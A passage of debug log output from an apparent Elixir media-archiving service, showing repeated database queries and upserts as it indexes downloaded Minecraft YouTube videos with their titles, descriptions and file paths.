Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-26 05:54:04Z], ~U[2026-08-20 01:35:16Z], ~U[2026-08-20 01:35:16Z], "Today, we're having a house on the water building competition! We'll both build houses in the ocean, and then compete to reach the treasure hidden deep on the ocean floor! Who's house was your favorite today?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft", "m-eW0HpIFp0", 2291, false, "https://www.youtube.com/watch?v=m-eW0HpIFp0", "/downloads/shows/Maizen/Season 2026/s2026e052600 - NOOB vs PRO: WATER HOUSE BUILD CHALLENGE in Minecraft.mp4", false, 2, ~U[2026-05-26 05:54:04Z]] 18:35:16.984 [debug] QUERY OK source="sources" db=0.1ms idle=76.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:16.985 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:16.985 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [115031] 18:35:16.985 [debug] Current batch of media processed. Will check again in 1000ms 18:35:17.592 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:35:17.986 [debug] Current batch of media processed. Will check again in 1000ms 18:35:18.987 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 1140, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", "id" => "G0WIo8d6jaQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "playlist_index" => 13, "timestamp" => 1779500499, "title" => "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "upload_date" => "20260523"} 18:35:18.988 [debug] QUERY OK source="sources" db=0.2ms idle=299.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:18.988 [debug] QUERY OK source="sources" db=0.1ms idle=299.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:18.990 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=300.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-23 01:41:39Z], 2] 18:35:18.991 [debug] QUERY OK source="media_items" db=0.6ms idle=301.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "b5c718e0-7ea1-42bf-9337-d52217bfc8d4", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", 13, "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-23 01:41:39Z], ~U[2026-08-20 01:35:18Z], ~U[2026-08-20 01:35:18Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ has a super overpowered Ironman suit! He can shoot lasers, see through walls, and even fly! This is awesome! With armor this powerful, JJ is unstoppable!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft", "G0WIo8d6jaQ", 1140, false, "https://www.youtube.com/watch?v=G0WIo8d6jaQ", "/downloads/shows/Maizen/Season 2026/s2026e052300 - OVERPOWERED IRONMAN Speedrunner VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-23 01:41:39Z]] 18:35:18.991 [debug] QUERY OK source="sources" db=0.1ms idle=80.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:18.991 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:18.992 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105336] 18:35:18.992 [debug] Current batch of media processed. Will check again in 1000ms 18:35:19.993 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 25255, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", "id" => "hRyqA0Yp7pY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "playlist_index" => 14, "timestamp" => 1779434034, "title" => "Minecraft", "upload_date" => "20260522"} 18:35:19.994 [debug] QUERY OK source="sources" db=0.2ms idle=1002.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:19.994 [debug] QUERY OK source="sources" db=0.1ms idle=1002.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:19.995 [debug] QUERY OK source="media_items" db=1.3ms idle=1002.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-22 07:13:54Z], 2] 18:35:19.996 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "779948d5-3c4e-4a60-9a2c-f3e33f967b6d", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", 14, "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-22 07:13:54Z], ~U[2026-08-20 01:35:19Z], ~U[2026-08-20 01:35:19Z], "Today, we're starting a new Minecraft survival playthrough! Join us as we explore new biomes, build awesome bases, and take down the many enemies in Minecraft!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Minecraft", "hRyqA0Yp7pY", 25255, false, "https://www.youtube.com/watch?v=hRyqA0Yp7pY", "/downloads/shows/Maizen/Season 2026/s2026e052200 - Minecraft.mp4", false, 2, ~U[2026-05-22 07:13:54Z]] 18:35:19.997 [debug] QUERY OK source="sources" db=0.1ms idle=83.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:19.997 [debug] QUERY OK source="media_profiles" db=0.2ms idle=3.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:19.998 [debug] QUERY OK source="media_items" db=0.2ms idle=3.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [105337] 18:35:19.998 [debug] Current batch of media processed. Will check again in 1000ms 18:35:20.999 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 2386, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", "id" => "gu_xiQyFWhs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=gu_xiQyFWhs", "playlist_index" => 15, "timestamp" => 1778987277, "title" => "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "upload_date" => "20260517"} 18:35:21.000 [debug] QUERY OK source="sources" db=0.2ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:21.000 [debug] QUERY OK source="sources" db=0.1ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:21.002 [debug] QUERY OK source="media_items" db=1.3ms idle=1003.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-17 03:07:57Z], 2] 18:35:21.003 [debug] QUERY OK source="media_items" db=0.6ms idle=1004.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "2bfccfbf-4fb6-433c-b8cb-28e60489df97", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", 15, "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, false, false, 2, [], 98, ~U[2026-05-17 03:07:57Z], ~U[2026-08-20 01:35:21Z], ~U[2026-08-20 01:35:21Z], "Today, we're in big trouble! Our world is about to be flooded, and turned into an endless ocean! We don't have much time, we have to hurry and prepare submarines capable of withstanding the immense pressure of the endless ocean before it's too late!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!", "gu_xiQyFWhs", 2386, false, "https://www.youtube.com/watch?v=gu_xiQyFWhs", "/downloads/shows/Maizen/Season 2026/s2026e051700 - NOOB vs PRO: SAFEST SUBMARINE HOUSE TO PROTECT FAMILY!!.mp4", false, 2, ~U[2026-05-17 03:07:57Z]] 18:35:21.003 [debug] QUERY OK source="sources" db=0.1ms idle=89.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:21.003 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:21.004 [debug] QUERY OK source="media_items" db=0.1ms idle=3.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [86028] 18:35:21.004 [debug] Current batch of media processed. Will check again in 1000ms 18:35:22.005 [debug] Current batch of media processed. Will check again in 1000ms 18:35:23.006 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 915, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", "id" => "sbn-vC02XcE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sbn-vC02XcE", "playlist_index" => 16, "timestamp" => 1778901923, "title" => "500 Million Year Button", "upload_date" => "20260516"} 18:35:23.007 [debug] QUERY OK source="sources" db=0.2ms idle=318.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:23.007 [debug] QUERY OK source="sources" db=0.1ms idle=318.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:23.009 [debug] QUERY OK source="media_items" db=1.3ms idle=319.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-16 03:25:23Z], 2] 18:35:23.009 [debug] QUERY OK source="media_items" db=0.6ms idle=320.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "a37370b8-d246-4556-a8f3-164015c4ebcf", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", 16, "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, false, false, 2, [], 98, ~U[2026-05-16 03:25:23Z], ~U[2026-08-20 01:35:23Z], ~U[2026-08-20 01:35:23Z], "Today, JJ and Mikey have stumbled upon a shady salesman. He says that pushing this button will give you free cake, but you're be trapped in an alternate dimension for 500 Million years! That can't really be true...can it?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "500 Million Year Button", "sbn-vC02XcE", 915, false, "https://www.youtube.com/watch?v=sbn-vC02XcE", "/downloads/shows/Maizen/Season 2026/s2026e051600 - 500 Million Year Button.mp4", false, 2, ~U[2026-05-16 03:25:23Z]] 18:35:23.010 [debug] QUERY OK source="sources" db=0.1ms idle=93.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:23.010 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", 